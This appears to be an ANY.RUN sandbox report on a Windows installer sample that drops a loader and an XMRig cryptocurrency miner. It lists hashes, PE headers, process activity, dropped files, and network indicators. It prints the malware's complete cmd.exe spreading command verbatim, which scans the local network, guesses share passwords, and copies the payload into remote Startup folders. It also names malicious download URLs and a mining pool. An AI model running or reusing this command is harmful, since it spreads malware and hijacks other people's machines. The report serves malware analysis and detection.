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File name:

$RI2TX8T.exe

Full analysis: https://app.any.run/tasks/6747a5e6-226c-429f-94bb-26b57d5e46cf
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: October 14, 2019, 08:01:21
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
installer
xmrig
miner
loader
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5:

DF11B3105DF8D7C70E7B501E210E3CC3

SHA1:

01BA101C4355B18EC11652A9AB6F8994279BA769

SHA256:

59F1E69B68DE4839C65B6E6D39AC7A272E2611EC1ED1BF73A4F455E2CA20EEAA

SSDEEP:

49152:if4tcOW4mwkylp3yj7SWGpHE3EFBD+njb9ClK:usuZDeJAcBSXUlK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Changes the autorun value in the registry

      • DOC001.exe (PID: 2752)
    • Writes to a start menu file

      • DOC001.exe (PID: 2752)
    • Application was dropped or rewritten from another process

      • java13r.exe (PID: 1636)
      • NsCpuCNMiner32.exe (PID: 2352)
    • Downloads executable files from the Internet

      • DOC001.exe (PID: 2752)
    • Loads dropped or rewritten executable

      • java13r.exe (PID: 1636)
      • DOC001.exe (PID: 2752)
    • Connects to CnC server

      • NsCpuCNMiner32.exe (PID: 2352)
    • MINER was detected

      • NsCpuCNMiner32.exe (PID: 2352)
    • Looks like application has launched a miner

      • DOC001.exe (PID: 2752)
  • SUSPICIOUS

    • Creates files in the user directory

      • DOC001.exe (PID: 2752)
      • $RI2TX8T.exe (PID: 1708)
    • Executable content was dropped or overwritten

      • $RI2TX8T.exe (PID: 1708)
      • DOC001.exe (PID: 2752)
      • java13r.exe (PID: 1636)
    • Starts itself from another location

      • $RI2TX8T.exe (PID: 1708)
    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2152)
      • cmd.exe (PID: 3328)
    • Starts CMD.EXE for commands execution

      • java13r.exe (PID: 1636)
      • cmd.exe (PID: 3360)
      • DOC001.exe (PID: 2752)
    • Starts NET.EXE for network exploration

      • cmd.exe (PID: 4092)
    • Application launched itself

      • cmd.exe (PID: 3360)
    • Connects to unusual port

      • NsCpuCNMiner32.exe (PID: 2352)
  • INFO

    • Drop XMRig executable file

      • DOC001.exe (PID: 2752)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | NSIS - Nullsoft Scriptable Install System (94.8)
.exe | Win32 Executable MS Visual C++ (generic) (3.4)
.dll | Win32 Dynamic Link Library (generic) (0.7)
.exe | Win32 Executable (generic) (0.5)
.exe | Generic Win/DOS Executable (0.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2009:12:05 23:52:12+01:00
PEType: PE32
LinkerVersion: 6
CodeSize: 24064
InitializedDataSize: 308224
UninitializedDataSize: 8192
EntryPoint: 0x30fa
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 05-Dec-2009 22:52:12
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000D8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 05-Dec-2009 22:52:12
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00005C4C
0x00005E00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.4388
.rdata
0x00007000
0x0000129C
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.04684
.data
0x00009000
0x00048C58
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.79628
.ndata
0x00052000
0x00040000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.rsrc
0x00092000
0x0000FBD8
0x0000FC00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.02452

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.20956
716
UNKNOWN
English - United States
RT_MANIFEST
2
4.32545
9640
UNKNOWN
English - United States
RT_ICON
3
4.80027
4264
UNKNOWN
English - United States
RT_ICON
4
5.12941
3752
UNKNOWN
English - United States
RT_ICON
5
5.76716
2216
UNKNOWN
English - United States
RT_ICON
6
3.19606
1640
UNKNOWN
English - United States
RT_ICON
7
4.29006
1384
UNKNOWN
English - United States
RT_ICON
8
5.50369
1128
UNKNOWN
English - United States
RT_ICON
9
3.32968
744
UNKNOWN
English - United States
RT_ICON
10
3.42711
296
UNKNOWN
English - United States
RT_ICON

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
SHELL32.dll
USER32.dll
VERSION.dll
ole32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
14
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
drop and start start drop and start drop and start $ri2tx8t.exe doc001.exe java13r.exe cmd.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs net.exe no specs find.exe no specs cmd.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs #MINER nscpucnminer32.exe

Process information

PID
CMD
Path
Indicators
Parent process
1708"C:\Users\admin\AppData\Local\Temp\$RI2TX8T.exe" C:\Users\admin\AppData\Local\Temp\$RI2TX8T.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
2
2752"C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe
$RI2TX8T.exe
User:
admin
Integrity Level:
MEDIUM
1636"C:\Users\admin\AppData\Local\Temp\java13r.exe" -pJavajre_set8zC:\Users\admin\AppData\Local\Temp\java13r.exe
DOC001.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2152"C:\Windows\system32\cmd.exe" /c taskkill /f /im lsm.exeC:\Windows\system32\cmd.exejava13r.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3364taskkill /f /im lsm.exeC:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3360"C:\Windows\system32\cmd.exe" /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=DOC001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \\!s!^|find /i " "`) do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" "\\!s!\%j\DOC001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\\!s!\C$ \\!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\TempoR\DOC001.exe" %d) & net use %c /delete /y & ping -n 20 localhost)))C:\Windows\system32\cmd.exeDOC001.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4092C:\Windows\system32\cmd.exe /c net view|find /i "\\" || arp -a|find /i " 1"C:\Windows\system32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2256net viewC:\Windows\system32\net.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3884find /i "\\" C:\Windows\system32\find.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2576C:\Windows\system32\cmd.exe /c set str_C:\Windows\system32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 110
Read events
1 069
Write events
0
Delete events
0

Modification events

No data
Executable files
7
Suspicious files
0
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
2752DOC001.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnklnk
MD5:29C2AC69595294FCCC96EA858065F38E
SHA256:1A02D18A9926BE47D3AD601E0193A4D034D74BA2D2416BE31890C7B44EBD5E98
2752DOC001.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\java13r[1].datexecutable
MD5:5FD72D2F051DFE060D4E679B88D9C0EB
SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34
2752DOC001.exeC:\Users\admin\AppData\Local\Temp\java13r.exeexecutable
MD5:5FD72D2F051DFE060D4E679B88D9C0EB
SHA256:91D24ECF0751BA667EFD17F9CFF562882B08EA5D929F5B25ED17C9B581354B34
2752DOC001.exeC:\Users\admin\AppData\Roaming\TempoR\NsCpuCNMiner32.exeexecutable
MD5:E8E50CFA7F6FE0C3B54CB1E11E92960C
SHA256:C4DEB1F76A1A5127964FAB44E4D9B3EBBB36B1FEDFB640DF5A4C428C89CEDB35
2752DOC001.exeC:\Users\admin\AppData\Roaming\TempoR\NsCpuCNMiner64.exeexecutable
MD5:6E6D33D666387647A22A9ABD0DD6D50D
SHA256:55766C74C458D5439688F44CEEF926D27EE57E7CE418B9AF574331ECC54B4816
1636java13r.exeC:\Users\admin\AppData\Local\Temp\nszFC6.tmp\inetc.dllexecutable
MD5:D7A3FA6A6C738B4A3C40D5602AF20B08
SHA256:67EFF17C53A78C8EC9A28F392B9BB93DF3E74F96F6ECD87A333A482C36546B3E
2752DOC001.exeC:\Users\admin\AppData\Local\Temp\nsxB2A2.tmp\inetc.dllexecutable
MD5:D7A3FA6A6C738B4A3C40D5602AF20B08
SHA256:67EFF17C53A78C8EC9A28F392B9BB93DF3E74F96F6ECD87A333A482C36546B3E
1708$RI2TX8T.exeC:\Users\admin\AppData\Roaming\TempoR\DOC001.exeexecutable
MD5:DF11B3105DF8D7C70E7B501E210E3CC3
SHA256:59F1E69B68DE4839C65B6E6D39AC7A272E2611EC1ED1BF73A4F455E2CA20EEAA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
9
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1636
java13r.exe
GET
185.26.112.217:80
http://u.f321y.com/buff2.dat
RU
malicious
1636
java13r.exe
GET
185.26.112.217:80
http://u.f321y.com/dhelper.dat
RU
malicious
1636
java13r.exe
GET
185.26.112.217:80
http://u.f321y.com/oneplus.dat
RU
malicious
1636
java13r.exe
GET
185.26.112.217:80
http://u.f321y.com/VID.dat
RU
malicious
2752
DOC001.exe
GET
200
89.111.177.173:80
http://zcop.ru/java13r.dat
RU
executable
44.8 Kb
suspicious
2752
DOC001.exe
GET
200
195.208.1.104:80
http://kr1s.ru/tessr.html
RU
html
3.75 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2752
DOC001.exe
195.208.1.104:80
kr1s.ru
Autonomous Non-commercial Organization Regional Network Information Center
RU
malicious
2752
DOC001.exe
89.111.177.173:80
zcop.ru
CJSC Registrar R01
RU
suspicious
1636
java13r.exe
185.26.112.217:80
u.f321y.com
Autonomous Non-commercial Organization Regional Network Information Center
RU
malicious
2352
NsCpuCNMiner32.exe
5.196.13.29:14444
xmr-eu1.nanopool.org
OVH SAS
FR
malicious

DNS requests

Domain
IP
Reputation
kr1s.ru
  • 195.208.1.104
suspicious
zcop.ru
  • 89.111.177.173
suspicious
u.f321y.com
  • 185.26.112.217
malicious
xmr-eu1.nanopool.org
  • 217.182.169.148
  • 51.15.78.68
  • 164.132.109.110
  • 51.15.65.182
  • 51.15.54.102
  • 151.80.144.253
  • 5.196.13.29
  • 92.222.180.119
  • 51.255.34.118
  • 79.137.82.5
  • 213.32.29.143
  • 5.196.23.240
  • 51.15.58.224
  • 51.15.69.136
suspicious

Threats

PID
Process
Class
Message
2752
DOC001.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
2752
DOC001.exe
Misc activity
SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer
2752
DOC001.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1636
java13r.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
1636
java13r.exe
Misc activity
SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer
1636
java13r.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
1636
java13r.exe
Misc activity
SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer
1636
java13r.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
1636
java13r.exe
Misc activity
SUSPICIOUS [PTsecurity] Suspicious HTTP header - Sometimes used by hostile installer
1636
java13r.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
No debug info